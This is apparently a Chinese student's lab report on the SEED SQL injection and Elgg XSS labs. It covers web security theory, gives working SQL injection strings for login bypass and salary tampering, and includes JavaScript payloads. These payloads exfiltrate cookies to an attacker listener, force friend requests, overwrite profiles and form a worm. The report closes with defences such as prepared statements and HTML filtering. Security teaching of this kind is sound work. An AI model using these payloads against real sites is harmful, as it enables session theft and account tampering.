20212924 2021-2022-2 《网络攻防实践》实践第12周(10次)报告
1.实践内容
实验目的
- 掌握web应用程序体系结构
- 了解web应用安全攻防技术
- 掌握SQL注入攻击并实践
- 掌握XSS跨站脚本攻击并实践
环境介绍
- Seedubuntu是seedlab提供的一个实验环境,在其上配置了很多漏洞网站和工具。
- 本次实验需要用到SQL注入漏洞和XSS跨站脚本漏洞
- 对应的网站为http://wwwSEEDLabSQLInjection.com和http://www.xsslabelgg.com
- 关于实验所用到的其他东西在seedubuntu中均有提供
- 开始实验之前先用指令sudoserviceapache2start启动Apache服务
- 在Firefox的扩展中安装HTTPHeaderLive插件检查HTTP头
实验原理
- Web应用程序体系结构
- Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态。也造就了B/S计算结构,提升了部署和应用的便捷性。
- 浏览器主要完成数据显示与展示渲染
- 服务器主要完成业务计算处理
- 浏览器与服务器之间的通信通过因特网或由联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
- 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
- Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
- 数据库:Web应用存储数据的地方。
- Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
- 表示层:接受Web客户端的输入并显示结果。
- 业务逻辑层;从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
- 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
- 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议, HTTP协议默认使用TCP80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式。SSLITLS隧道技术,来实现加密传输的HTTPS协议。
- Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
- 针对传输层的网络协议安全威胁;针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。系统层安全威胁:Web站点的宿主操作系统。
- Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
- 代码注入攻击
- 代码注入攻击
- Web应用程序的输入验证不完善漏洞
- 执行由攻击者所注入的恶意指令和代码
- 敏感信息泄露、权限提升或对系统的未授权访问
- 多样化的代码注入攻击类型
- SOL注入攻击恶意读取、修改与操纵数据库:
- PHP注入或ASP注入攻击:植入和运行Webshell
- Shell注入攻击:恶意执行操作系统命令的:
- 其他多样化注入攻击:LDAP注入、邮件命令注入、SSI注入、XPath注入、XML注入、XOuery注入等
- 代码注入攻击
- SQL注入攻击原理
- SQL注入漏洞机制
- 用户输入没有被正确地过滤转义字符(引号、反引号、双下划线、分号、百分号)
- 没有进行严格类型检查:未判断输入是否预定类型
- 表示层表单或URL输入参数用户输入
- 业务逻辑层:通过用户输入参数构造SOL语句不完善的输入验证机制
- 数据层:通过数据连接执行SOL语句触发恶意数据库操作
- SQL注入漏洞机制
- XSS攻击技术原理
- 定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。 XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
- XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括 HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
2.实践过程
实践一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
具体过程
-
熟悉SQL语句
mysql -u root -p
——登录 MySQL 数据库
show databases;
——查看数据库
use users;
——使用系统创建好的 Users 数据库
show tables;
——查看表
select * from credential;
——从credential查看表中内容
select * from credential where Name='Alice';
——在credential表中根据条件查看内容
-
对 SELECT 语句的 SQL 注入攻击
- 访问Web应用程序网站(www.SEEDLabSQLInjection.com)
- 使用快捷键
view Page Source
查看该页面源码
- 由源码可知,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验
- 通过vim /var/www/SQLInjection/unsafe_home.php,where部分存在可以进行注入攻击的漏洞
- 输入用户名为Admin' #,密码为空,绕过密码检验,直接进行登录。(注释掉了密码)
User Details
- 访问Web应用程序网站(www.SEEDLabSQLInjection.com)
-
对UPDATE语句的SQL注入攻击
- 用
Alice'#
登录,查看她的信息。
- 点击
Edit Profile
,进入更新信息页面
- 右键
view page Source
查看源码
- 表示通过
get
方法得到信息,提交至unsafe_edit_backend.php
页面?
- 表示通过
- SEEDUbuntu中
vim /var/www/SQLInjection/unsafe_edit_backend.php
查看代码
- 表示存在漏洞,此处可以注入。
- 前面得到Alice的id是10000,在alice的编辑页面
NickName
输入', salary='2924' where EID='10000';#
,- 此时sql语句就把后面的注销掉了,变为了
$sql = "UPDATE credential SET nickname='', salary='2924' where EID='10000';
- 此时sql语句就把后面的注销掉了,变为了
- 修改成功,薪水变成了2924
- 密码是经过hash的,选择密码123456,生成一个hash值。
etho -n '123456'|shalsum
- 输入hash后的密码,修改Password字段。
- 用
-
SQL对抗
- 加入预处理语句防御sql注入攻击
SELECT
语句
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and
Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
-
UPDATE
语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
实践二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
具体过程
-
通过弹窗显示恶意信息
- www.xsslabelgg.com中存在的用户信息【Alice:seedalice】【Boby:seedboby】
- 访问www.xsslabelgg.com,以Alice登录,点击Alice中的edit profile
Brief description
文本框输入:<script>alert('20212924yh');</script>
save
,弹出警示框
- Alice退出后,以Body登入并访问Alice的profile,more—>members—>Alice,弹出以上警告框
- 通过嵌入
JS
代码,实现了弹出警报窗口的功能。
-
通过弹窗显示
Cookie
信息- 在
Brief description
中输入:<script>alert(document.cookie);</script>
,就可以显示当前的 cookie 信息。
- 在
-
窃取受害主机的 Cookie
- 当
JavaScript
插入img
标签时,同时在<img>
标签的src
属性中嵌入攻击代码。浏览器尝试从src
字段中的URL
加载图片,这导致HTTP GET
请求发送到攻击者的机器。- 攻击者在命令行下执行
nc -lvvp 5555
,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies。 Brief description
插入js
代码为:<script>document.write('<img src=http://192.168.200.5:5555?c=' + escape(document.cookie) + ' >');</script>
- 使用
JavaScript
将cookies
发送到攻击者机器的5555
端口,若攻击者的TCP server
侦听同一个端口,服务器则可打印出任何收到的内容。
- 攻击者在命令行下执行
- 当
-
成为受害者的朋友
- 登录Boby 的主页:
http://www.xsslabelgg.com/profile/boby
- 点击
Add friend
,请求发往http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652732463&__elgg_token=DA14ZydedxoMfoG1CbgYo
,参数friend代表好友的id,参数__elgg_ts代表时间戳,参数__elgg_token代表token
- 构造JS代码,用于add friends
- 登录Boby 的主页:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
-
- 将上面的JS放在Alice的About me内,选择Edit HTML保存
- 刷新Boby账号,发现Boby已自动添加Alice为好友
- 将上面的JS放在Alice的About me内,选择Edit HTML保存
- 修改受害者的信息
- 查看Alice界面的源码,编辑About me内容,发现访问了http://www.xsslabelgg.com/action/profile/edit
- 构造JS代码:
- 查看Alice界面的源码,编辑About me内容,发现访问了http://www.xsslabelgg.com/action/profile/edit
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Hacked!!!!!~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
- 登录 Boby,Boby的个人资料初始为
- 访问Alice的主页,刷新页面,已经被修改
- 登录 Boby,Boby的个人资料初始为
-
编写XSS蠕虫
- 将下面的JS代码放在Alice的about me中
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
- 以boby的身份登录后访问Alice的profile,boby就会被攻击并感染xss蠕虫
- 以boby的身份登录后访问Alice的profile,boby就会被攻击并感染xss蠕虫
-
对抗 XSS 攻击
-
在用户输入文本时,禁用 JavaScript 渲染的功能。
-
也可以使用 Elgg 提供的安全插件 HTMLawed 过滤用户输入的标签。
-
3.学习中遇到的问题及解决
- 问题1:
- 问题1解决方案:
- 问题2:Ubuntu和Windows之间是无法实现跨系统复制粘贴的
- 问题2解决方案:链接
4.实践总结
- 通过本次实验,熟悉巩固了SQL语句,注入攻击时,在参数name或password中插入了特殊字符#,以篡改程序SQL的条件判断,从而骗过程序,达到注入攻击的目的。
- 挖掘漏洞时,本次实验需要在web中收集信息。
- 可以通过查看源代码,审查应用程序结构发现漏洞。
- 攻击者利用Xss漏洞构建恶意脚本,对大量用户构成危害,可以通过留言本、论坛、博客等方式达到目的。